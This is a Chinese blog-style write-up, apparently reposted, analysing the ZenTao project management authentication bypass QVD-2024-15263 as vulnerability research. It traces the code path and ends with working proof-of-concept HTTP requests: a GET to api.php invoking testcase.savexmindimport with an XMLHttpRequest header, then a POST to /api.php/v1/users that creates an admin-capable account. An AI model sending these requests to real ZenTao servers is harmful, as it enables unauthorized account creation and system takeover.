禅道项目管理系统 身份验证漏洞分析QVD-2024-15263

 前言

        最近不怎么更新了!向小伙伴说明下 我不是什么组织 更不什么经销号(尽管csdn有很多经销广告号)
        一确实是下岗了!忙着为找工作而发愁。简历都投出去如同石沉大海能不愁吗!.哎......
        二是忙着论文及材料的事....
        三是也看了最近的漏洞,感觉也没啥可分析的 一眼就看出问题所在。 有什么可分析的呢!就像医生看看患者如同看萝卜白菜一样.....,
        那分析反序列化链呢,这也没什么意思啊!

        话说到此,今儿个就推荐你看这篇文章。有一定难度挑战度,内容还是跟以前一样,以一个挖洞者的视角来讲解分析。逻辑绝对保证逻辑,绝对给你分析的明明白白的前后贯彻........

漏洞信息

参考链接

https://github.com/easysoft/zentaopms/commit/695055c6b1d2e6a8c944bdbc38308c06820c40ce

根据网上纰漏的信息及作者补救的代码来看,我们不难看出只要app拥有对象user就可以绕过某种限制。

 后续的更正代码则是进一步判断user对象中的account。既然是漏洞就代表着判断user一定存在某种问题。

漏洞分析

我们先分析一波,谁的执行流程会经过这行验证。

因为这段代码逻辑在类的构造方法中,我们右键点击entery -> Find Usages

着api\v1\entries 这个目录下的类 似乎都继承了entry,

我们挑一个敏感的 usersEntry

为什么说usersEntry比较敏感呢,因为他的类中有一个函数POST,这个函数似乎可以创建用户账号。

这个之后再用 Find Usages ,就没有结果了。但着不意味着没有函数去调用它。

这里我给大家提供几种思路,

一是利用框架的特点,看看我们是否可以调用匹配路由规则的函数。

二是寻找用户可以控制的点,这类往往是参数进行反射调用,或者类似与call_user_func_array这样的函数去调用某个方法。

着api这个类中我们就找到了这样的线索,call_user_func_array() 后面似乎也是我们想要的enter。

分析下上面的逻辑;$entry = new $entryName(); 而 $entryName 是api的成员entry+"Entry" 得来的,

也就是说得让api 的成员值为users。另外也需将api的成员action为post 。这才能去调用usersEntry的post方法

根据这几个线索,我们继续Find Usages --> loadModule,找到一个比较上层的。

非常好这个算是入口点了,最好在验证下api.php我们是否可以访问这个文件。

 接下在就重点分析下,app下的user对象的限制,与api的entry成员是否可控。

1,先分析成员entry何时被赋值

entry由传来的$target赋值,需继续向上分析。我们也意外看到了action的 strtolower($_SERVER['REQUEST_METHOD']);完美这个我们刚刚好可以控制这个变量为post,只需前端发起post请求就好了。

右键route Find Usages

这个parseRequest() 正好也是api.php调用而来的

 

parseRequest()方法中,是this->config->routes传进入的,似乎是不可控的变量的。

但回到route方法中,你仔细分析$target变量,就会发现其实成员entry一定程度上是可控的

path这个成员实在api的构造方法中被赋值的。(随便提示下来接下来的处理中version被path赋值,这个也是执行条件之一)

右键this->path Find Usages  

那么this->config->routes有关键字user吗?看下图,有的!

$entry与action已经分析完毕 ,这俩都有机会可控,去执行usersEntry的post方法。  

接下来重点分析绕过这个限制

if(!isset($this->app->user) or $this->app->user->account == 'guest') throw EndResponseException::create($this->sendError(401, 'Unauthorized'));

如何才能让app对象(api类)有user成员呢?

既然我们的入口点是api.php,那么我们着重分析下api.的执行流程查看app->user合适能过被赋值  

在loadCommon中找到了点线索

在extCommonModel();的构造方法中,有一个方法setUser  

 app->可以有session对象的user成员赋值,条件是session有这个成员即可。这个可以当作利用之一

分析这个利用的可能,在创建api对象时会走到baseRouter的构造方法中(继承关系走的 ),有setSuperVars方法  

但是我们并没有找到user被赋值的逻辑

session的作用就在于多个请求是连续的,这样就促使我们可以多发请求,以找到让session中拥有user的可能

。。。。

这里有一个deny方法,分析里面的逻辑这里涉及到对相关字段的赋值  

$this->app 没有对象$user 会怎样?

$user会被创建=null吗?之后$user->的成员rights,groups,admin会被创建吗?

但凡user对象被创建起来,后面就会被赋值给session 这个已经足够我们进行利用的条件了。

那么下面分析如何才能去调用这串代码。commonModel的deny方法

右键deny Find Usages

这个虽然可以调用deny方法但是需要this->app->user, 这个显然我们是没有的,我们调用deny的目的也是要拥有user对象。

之后的一样没有结果了,我们只能再次把期望寄托于 类似于参数反射调用,或者类似于call_user_func_array这样的函数去调用某个方法。

还记得之前loadModule模块吗?,有version字段的调用enter的某方法。那么没有version会不会也执行call_user_func_array调用某方法呢

跟入到父类的loadModule中去,最终来到这里,果然有call_user_func_array的调用

分析下module与methodName是怎么传来的,是否为可控变量。

继续分析$moduleName变量,

继续分析moduleName的赋值(这几次搜索结果,都要靠近router因为api类继承的它,比较可能有一条调用链)  

这里有两种可能,一个是GET方式,一个是Pathinfo方式

选择GET方式进行分析,

this->config->moduleVar与$this->config->methodVar两个变量是m 与 f

api.php?m=commonModel&f=deny 直接这样干,行不行?

后续调试中发现,这点不好绕过

deny不在开放方法中啊,

现在只能希望与这里开放的方法中找可以调用deny的(且是commonModel类有继承关系的)

.................,一番对比 终于在testcase中发现了saveXmindImport有deny的方法的调用

且common是继承commonModel类的,非常好就是我们想要的结果。

 

以这样的payload 打过去/zentaopms/www/api.php?m=testcase&f=savexmindimport。

后端调试发现并程序没有进入deny方法中,回头检查一下

经过一番观察分析,发现在testcase的构造方法中,有下面验证限制,

绕过也很简单,要么$products查的存在,要么前端是一个ajax请求

我们只需这样就可以是ajax请求了

ok这样就进入deny了

漏洞验证
GET /zentaopms/www/api.php?m=testcase&f=savexmindimport&HTTP_X_REQUESTED_WITH=XMLHttpRequest HTTP/1.1
Host: localhost
sec-ch-ua: "Chromium";v="119", "Not?A_Brand";v="24"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.105 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: cross-site
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: lang=zh-cn; vision=rnd; device=desktop; theme=default; preProductID=1; preBranch=0; preExecutionID=1; lastProject=7; goback=%7B%22admin%22%3A%22http%3A%5C%2F%5C%2Flocalhost%5C%2Fzentaopms%5C%2Fwww%5C%2Findex.php%3Fm%3Dcompany%26f%3Dbrowse%22%7D;XDEBUG_SESSION=14117
Connection: close

此时返回的cookie() 与之关联的session时经过deny方法处理过的是由user的。

现在开始创建用户账号的验证

POST /zentaopms/www/api.php/v1/users HTTP/1.1
Cookie: zentaosid=bk2fnh0asopgj78jvkc7klu2m4;XDEBUG_SESSION=
Host: localhost
Content-Length: 93

{"account": "66test", "password": "Test123", "realname": "Test", "role": "top", "group": "1"}

此时后端调试也发现进入了usersEntry中的post方法且创建了用户账号

接下来登录验证一下

66test:Test123

没问题成功登录了上去。   

感谢看到这里,有什么没有看明白的欢迎评论区留言,另外点点小赞   在此谢过了.........

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/590534.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

观察者模式实战:解密最热门的设计模式之一

文章目录 前言一、什么是观察者模式二、Java实现观察者模式2.1 观察者接口2.2 具体观察者2.3 基础发布者2.4 具体发布者2.5 消息发送 三、Spring实现观察者模式3.1 定义事件类3.2 具体观察者3.3 具体发布者3.4 消息发送 总结 前言 随着系统的复杂度变高,我们就会采…

电商独立站最重要的功能设置:多语言转换和代运系统搭建

什么是独立站? 多语言模式切换 1 搭建电商独立站在我看来最简单的理解,就是独立的网站。 如果你在跨境圈子呆了一段时间,独立站是一个避不开且火热的一个词,并且也是所有的B2B、B2C商家都在运营和布局的市场。 独立站的优势有哪…

AI视频教程下载:零代码创建AI智能体、AI Agents和ChatGPT的Gpts

这门课程专注于提示工程的掌握,教你以精确的方式引导GPT,利用它们的生成能力产生卓越的AI驱动结果。一步一步地,你将学会创建多样化的GPT军团——每个都设计来满足特定的专业需求。 从提供个性化职业变更指导的职业教练AI,到以惊…

精准测试-Vue前端调用链影响变更分析之一

Vue前端调用链影响变更分析之一 一、背景二、工具调研1、 工具介绍:2、工具使用 三、工具落地集成方案(待后续补充)变更影响较为简单的实现变更影响较为复杂的实现1、全局关系数据库的构建2、变更影响的简单实现3、变更影响的复杂实现 一、背…

【LinuxC语言】系统日志

文章目录 前言一、系统日志的介绍二、向系统日志写入日志信息三、示例代码总结 前言 在Linux系统中,系统日志对于监控和排查系统问题至关重要。它记录了系统的运行状态、各种事件和错误信息,帮助系统管理员和开发人员追踪问题、进行故障排除以及优化系统…

(Microsoft SQL Server,错误: 233)

错误信息: A connection was successfully established with the server, but then an error occurred during the pre-login handshake. (provider: Shared Memory Provider, error: 0 - 管道的另一端上无任何进程。) (Microsoft SQL Server,错误: 233) 原因&…

《十三》QT绘图原理双缓冲机制

一、原理与设计 所谓双缓冲机制,是指在绘制控件时,首先将要绘制的内容绘制在一个图片中,再将图片一次性地绘制到控件上。在早期的 Qt 版本中,若直接在控件上进行绘制工作,则在控件重绘时会产生闪烁地现象,控…

零基础学习数据库SQL语句之定义数据库对象的DDL语句

DDL语句 DDL Date Definition Language 数据定义语言,用来定义数据库对象(数据库,表,字段) 基本操作 数据库操作 查询所有数据库 SHOW DATEBASES查询当前数据库 SELECT DATEBASE() 创建 CREATE DATEBASE [IF …

利用大语言模型(KIMI)构建智能产品的控制信息模型

数字化的核心是数字化建模,为一个事物构建数字模型是一项十分复杂的工作。不同的应用场景,对事物的关注重点的不同的。例如,对于一个智能传感器而言,从商业的角度看,产品的信息模型中应该包括产品的类型,名…

Mysql的关联查询以及语句

一、mysql的连接查询 1、等值连接 这里是三张表的等值连接 select rp.role_id,rp.permission_id from role_permission rp, role r, permission p where rp.role_idr.id and rp.permission_idp.id 2、内连接: 角色:系统管理员 是否拥有权限&#xf…

DHCPv4_CLIENT_ALLOCATING_03: 发送DHCPREQUEST - 必须包含‘服务器标识符‘

测试目的: 验证客户端发送的DHCPREQUEST消息中是否包含“服务器标识符”选项,以指示它选择的服务器。 描述: 本测试用例旨在确保DHCP客户端在广播DHCPREQUEST消息时,必须包含“服务器标识符”选项。该选项用于指明客户端选择了…

2024-5-1我把QQ群聊天记录分析工具重写了一下

【下载地址】 https://www.lanzoub.com/b00rn0g47e 密码:9hww 【项目背景】 2020年我用Tkinter写过一个QQ群聊天记录分析的工具exe,后续也写过一个纯JS前端的版本,前阵子有个用户反馈不能用了,顺便看能不能加入一个分析关键词的功能&…

第76天:WAF攻防-信息收集识别被动探针代理池仿指纹白名单

目录 基础知识 案例一: 信息收集-被动扫描-黑暗引擎&三方接口 案例二: 信息收集-目录扫描-Python 代理加载脚本 案例三: 信息收集-爬虫扫描-Awvs&Xray&Goby内置 基础知识 什么是 WAF ? Web Application Firewall ( web 应用防火墙&am…

jvm垃圾回收机制介绍

JVM(Java虚拟机)是Java程序的运行环境,它负责执行字节码文件。JVM的工作原理主要包括以下几个部分:类加载器、执行引擎、垃圾收集器和内存管理。类加载器负责加载字节码文件并将其转换成Java平台上的机器码,执行引擎负…

三维图形学知识分享---求平面与模型相交线

在CGAL(Computational Geometry Algorithms Library)中,Polygon_mesh_processing模块提供了用于处理多边形网格数据结构的功能。其中,surface_intersection函数是用来计算模型的表面相交线的工具。 CGAL_Mesh mesh_orcl;std::vect…

容器组_生命周期

📕作者简介: 过去日记,致力于Java、GoLang,Rust等多种编程语言,热爱技术,喜欢游戏的博主。 📘相关专栏Rust初阶教程、go语言基础系列、spring教程等,大家有兴趣的可以看一看 📙Jav…

张大哥笔记:如何选择项目和未来发展方向,实现10倍增长

在过去的10年里,我加入了众多社群,接触了不少行业精英,还参与了各式各样的交流圈。这段时间,我一直在考虑一个问题:未来的发展道路究竟在何方?起初我认为只有那些具有长期积累价值的事业才有真正的前景&…

傅里叶变换理论2

1. 逆变换 2. 时间域和频率域 3. 波的基本单位

C语言例题29:在屏幕上显示一个等腰三角形

#include <stdio.h>void main() {int i, j;int x;printf("输入等腰三角形行数&#xff1a;");scanf("%d", &x);for (i 1; i < x; i) {for (j i; j < x; j) {printf(" "); //输出空格占位}for (j 1; j < 2 * i; j) {printf…

【计算机毕业设计】基于SpringBoot+Vue企业车辆管理系统设计与实现

目录 一、项目介绍 二、项目主要技术 三、系统体系结构 四、系统实现 五、实现代码 一、项目介绍 本系统采用Mysql数据库和java语言&#xff0c;SpringBoot框架进行开发而成&#xff0c;极大程度上的保证了系统的稳定性。管理人员可以管理个人中心、驾驶员管理、用户管…